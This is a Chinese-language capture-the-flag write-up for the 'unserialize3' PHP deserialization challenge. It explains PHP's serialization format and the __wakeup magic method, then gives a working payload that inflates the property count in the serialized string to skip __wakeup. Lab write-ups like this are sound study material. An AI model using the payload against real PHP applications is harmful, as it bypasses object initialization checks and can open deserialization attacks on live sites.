攻防世界的一個php反序列化題 unserialize3
PHP反序列化
序列化通俗來講就是將物件轉化為可以傳輸的字串,反序列化就是把那串字串再變回物件。
<?php
class chybate {
var $test = '123456';
}
$cless1 = new chybate;
// 序列化
$cless1_ser = serialize($cless1);
echo $cless1_ser . '\n';
// 反序列化
$cless1_user = unserialize($cless1_ser);
print_r($cless1_user);
?>
O:7:"chybate":1:{s:4:"test";s:6:"123456";}
chybate Object
(
[test] => 123456
)
這裡的O就是object物件的意思,數字7代表著物件的函式名長度為7,然後就是物件名"chybate",然後這個數字1表示物件裡有一個變數,大括號裡的s代表的是string型別,如果是一個i是int型,4表示變數名的長度,後面接著就是變數的值。
題目分析
給出了一個類xctf,其中包含一個變數flag和一個魔術函式 __wakeup(),用code去接收一個序列化後的字串。
分析給出的原始碼,魔法函式 __wakeup()
是一個突破點,它在反序列化的過程中會被呼叫。
serialize() 和 unserialize() 函式對魔術方法 __wakeup() 的處理:
serialize()函式序列化物件時,如果物件中定義了__sleep()方法,將會呼叫該方法來確定哪些屬性需要被序列化。如果物件沒有定義__sleep()方法,將會序列化物件的所有屬性。
unserialize()函式反序列化物件時,如果物件中定義了__wakeup()方法,將會在物件反序列化後呼叫該方法。__wakeup()方法用於初始化反序列化後的物件狀態,通常用於重新建立物件和其相關資源之間的聯絡。
__wakeup()
的一個繞過點:一個物件被序列化後,如果它的屬性被修改,那麼在反序列化的過程中則不會執行__wakeup()函式。
解題
解題思路就是修改序列化後中的屬性來繞過 __wakeup 。
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c = new xctf;
print(serialize($c));
?>
xctf序列化:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
當被反序列化的字串其中對應的物件的屬性個數發生變化時,會導致反序列化失敗而同時使得__wakeup()函式失效。
構造payload: /?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
,這裡將變數的個數改為2,屬性個數發生變化,這樣__wakeup()在初始化反序列化後的物件狀態時就就會失效。
成功get flag!
總結
反序列化漏洞原理,反序列化該物件時觸發魔術方法從而執行命令或程式碼。
PHP序列化需注意以下幾點:
-
序列化只序列屬性,不序列方法。
-
能控制的只有類的屬性,攻擊就是尋找合適能被控制的屬性,利用作用域本身存在的方法,基於屬性發動攻擊。